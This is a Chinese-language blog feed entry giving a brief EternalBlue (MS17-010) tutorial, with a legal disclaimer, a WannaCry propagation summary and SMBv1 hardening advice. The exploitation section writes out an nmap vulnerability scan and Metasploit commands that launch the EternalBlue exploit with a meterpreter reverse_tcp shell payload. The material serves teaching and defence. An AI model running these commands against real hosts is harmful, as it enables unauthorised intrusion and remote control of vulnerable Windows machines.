https://souljian.cn/tags/wannacry/Recent content in WannaCry on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088164/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088164/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>永恒之蓝攻击只在授权测试环境进行。对非授权目标利用 MS17-010 可能触犯法律。</p> <h2 id="一永恒之蓝攻击链">一、永恒之蓝攻击链 </h2><img src="https://souljian.cn/img/eternalblue-attack-chain.svg" alt="永恒之蓝攻击链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 扫描 SMB 端口 → ② 发送恶意 SMB 包 → ③ 内存破坏 → ④ 执行 Shellcode → ⑤ 横向传播 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二利用步骤">二、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># nmap 扫描</span> </span></span><span class="line"><span class="cl">nmap -p445 --script<span class="o">=</span>smb-vuln-ms17-010 target </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># metasploit 利用</span> </span></span><span class="line"><span class="cl">use exploit/windows/smb/ms17_010_eternalblue </span></span><span class="line"><span class="cl"><span class="nb">set</span> RHOSTS target </span></span><span class="line"><span class="cl"><span class="nb">set</span> PAYLOAD windows/x64/meterpreter/reverse_tcp </span></span><span class="line"><span class="cl">exploit </span></span></code></pre></td></tr></table> </div> </div><h2 id="三传播机制">三、传播机制 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WannaCry 勒索病毒利用永恒之蓝传播 </span></span><span class="line"><span class="cl">自动扫描内网 SMB 端口 → 自动利用 → 自动加密文件 → 索要比特币 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">关闭 SMBv1 · 打 MS17-010 补丁 </span></span><span class="line"><span class="cl">防火墙关闭 445 端口 </span></span><span class="line"><span class="cl">监控异常 SMB 连接 </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>永恒之蓝是 SMBv1 的远程代码执行漏洞，可导致整个内网沦陷。防御核心是<strong>关闭 SMBv1 + 打补丁</strong>。</p>